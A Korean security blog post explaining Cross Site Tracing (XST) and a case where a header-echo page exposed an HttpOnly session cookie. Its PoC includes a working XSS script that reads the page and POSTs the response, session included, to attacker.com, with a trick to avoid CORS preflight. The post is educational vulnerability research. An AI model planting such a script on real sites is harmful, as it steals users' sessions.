Why Always Me!

5. XST (Cross Site Tracing) 본문

취약점 CASE/Web

5. XST (Cross Site Tracing)

Racil U 2025. 3. 1. 15:20

1. 개요

XST는 HTTP TRACE 메소드를 사용한 공격 방법으로 TRACE 메소드를 사용하면 사용자 요청이 응답 값에 포함되어 반환된다는 것을 이용하여 HttpOnly로 보호되고 있는 세션 및 주요 정보 등을 탈취할 수 있는 취약점입니다.

 

다만 TRACE 메소드는 대부분의 브라우저에서 지원하지 않기 때문에, TRACE 메소드가 활성화되어 있다고 하더라도 실제 XST가 발생하는 경우는 거의 없습니다.

 

2. XST 공격 원리

세션에 HttpOnly가 설정되어 있으면 자바스크립트를 통해 세션에 접근할 수 없으므로, 서비스에 XSS 취약점이 존재한다 하더라도 세션을 탈취하기 굉장히 힘듭니다.

하지만 서버에 요청을 보낼 때 요청에는 세션이 포함되어 있기 때문에, 요청 값을 탈취하게 되면 자동으로 세션 값을 얻을 수 있습니다.

 

XST의 선행 조건은 다음과 같습니다.

 

1. TRACE 활성화 여부

2. XSS 공격 가능 여부

3. TRACE를 지원하는 낮은 버전의 브라우저

 

만약 위 세가지가 만족한다면, XST 공격을 수행할 수 있습니다.

 

1. 공격자가 XSS 취약점을 통해 악성 스크립트 삽입 

 - 서버에 TRACE로 임의 요청을 보내고, 그 응답 값을 공격자의 서버로 전송하는 스크립트

2. 피해자가 XSS 스크립트가 삽입된 페이지 혹은 URL에 접근

3. 피해자는 서버에 TRACE 요청을 보내고, 그 응답 값이 공격자 서버로 전송

4. 공격자는 전송받은 응답 값에서 피해자의 세션을 획득

 

3. PoC

위에 적었 듯, XST는 정말 발생하기 힘든 취약점입니다.

하지만 이번 케이스에선 TRACE 메소드는 아니지만, TRACE 메소드와 비슷한 역할을 하는 페이지를 통해 취약점을 발생시켰습니다. 

 

진단 서비스는 특정 페이지를 운영하고 있는데, 해당 페이지는 서비스 접속자의 IP와 헤더 정보를 화면에 출력하고 있었습니다.

 

REQ)

GET /whoami HTTP/1.1
Host: example.com
Cookie: SESSION=secret; ...

 

위와 같은 요청을 보내면,

 

RES)

HTTP/1.1 200 
Server: nginx
...

- IP - 
123.123.123.123
- Header - 
host: example.com
cookie: SESSION=secret; ...

 

응답 값에 헤더 정보가 포함되어 있는 것을 확인할 수 있습니다.

저기서 SESSION 값은 HttpOnly가 적용되어 있는 값입니다. 따라서 자바스크립트를 통한 SESSION 컨트롤은 불가능합니다.

 

HttpOnly 확인

 

하지만 응답 값엔 SESSION 값이 포함되어 있기 때문에, 다음과 같이 스크립트를 작성하여 서비스에 삽입해 둡니다.

 

<script>
fetch('https://example.com')
  .then(response => response.text())
  .then(data => {
    return fetch('https://attacker.com', {
      method: 'POST',
      headers: {
        'Content-Type': 'text/plain' // Preflight 방지를 위해
      },
      body: JSON.stringify({ data: data })
    });
  })
  .then(response => response.text())
  .then(result => console.log('Res:', result))
  .catch(error => console.error('Error:', error));
</script>

 

피해자가 해당 스크립트가 포함된 페이지에 접근하게 되면, 공격자의 서버로 피해자의 세션 정보가 전송되게 됩니다.

저는 webhook 서비스를 이용했습니다.

 

 

좋은 하루 되세요!!

 

 

'취약점 CASE > Web' 카테고리의 다른 글

4. Padding Oracle Attack  (0) 2025.03.01
3. Zip Slip  (0) 2024.05.02
2. JWT None Algorithm Attack  (0) 2024.04.09
1. XSS / 공백 필터링 우회  (1) 2024.02.29
WEB/API  (0) 2024.02.28